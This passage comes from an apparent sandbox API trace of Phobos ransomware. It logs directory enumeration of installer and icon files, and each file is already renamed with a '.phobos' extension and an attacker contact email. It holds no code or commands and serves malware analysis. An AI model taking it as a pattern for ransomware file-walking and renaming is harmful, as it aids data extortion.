ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0124.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda06bab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PRINTI~1.PHO")) returned 1 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~1.PHO")) returned 1 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda2ce12, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda2ce12, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~2.PHO")) returned 1 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~3.PHO")) returned 1 [0124.413] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~4.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO2118~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd27c8d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROE580~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd27c8d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd27c8d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO3A5C~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd4ded6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd4ded6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO113B~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd9a495, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd9a495, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SAVEIC~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddc07b0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeddc07b0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPI~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede913c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STOPIC~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede913c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede913c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~1.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedecb876, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SYSREQ~2.PHO")) returned 1 [0124.414] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 1 [0124.415] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WARNIC~1.PHO")) returned 0 [0124.415] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.415] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.415] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9aa4d3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9aa4d3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="HEADER~1.PHO")) returned 1 [0124.416] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xefd2f705, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~1.PHO")) returned 1 [0124.417] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xeea1c954, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~2.PHO")) returned 1 [0124.417] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea1c954, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea1c954, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefec682, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~3.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf31ad2c7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NETFX_~4.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd2f705, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xefd2f705, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xefda85ff, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE0C7B~1.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff6ba8e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeff6ba8e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeffb7f7b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE4478~1.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9d06c8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9d06c8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeea42c73, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeffb7f7b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeffb7f7b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0050a48, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~1.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0050a48, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0050a48, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf009cec4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~2.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf009cec4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf009cec4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf00c30ad, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~1.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00c30ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf00c30ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf04c916b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~2.PHO")) returned 1 [0124.418] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0abec4b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0abec4b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0d6d830, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~2.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9f6892, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9f6892, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeb4ddcb, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d6d830, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0d6d830, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0dbac0c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~3.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea42c73, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea42c73, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeab5356, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SPLASH~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dbac0c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0dbac0c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0fa9bd9, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SQMAPI~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeadb6c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeadb6c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeee4d509, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STRING~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb4ddcb, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeb4ddcb, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeebb3d7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee4d509, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeee4d509, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefaece4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WATERM~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xf2680385, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~1.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xf2eb25d8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~2.PHO")) returned 1 [0124.419] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xf4248d9e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x7e0055, dwReserved1=0x31, 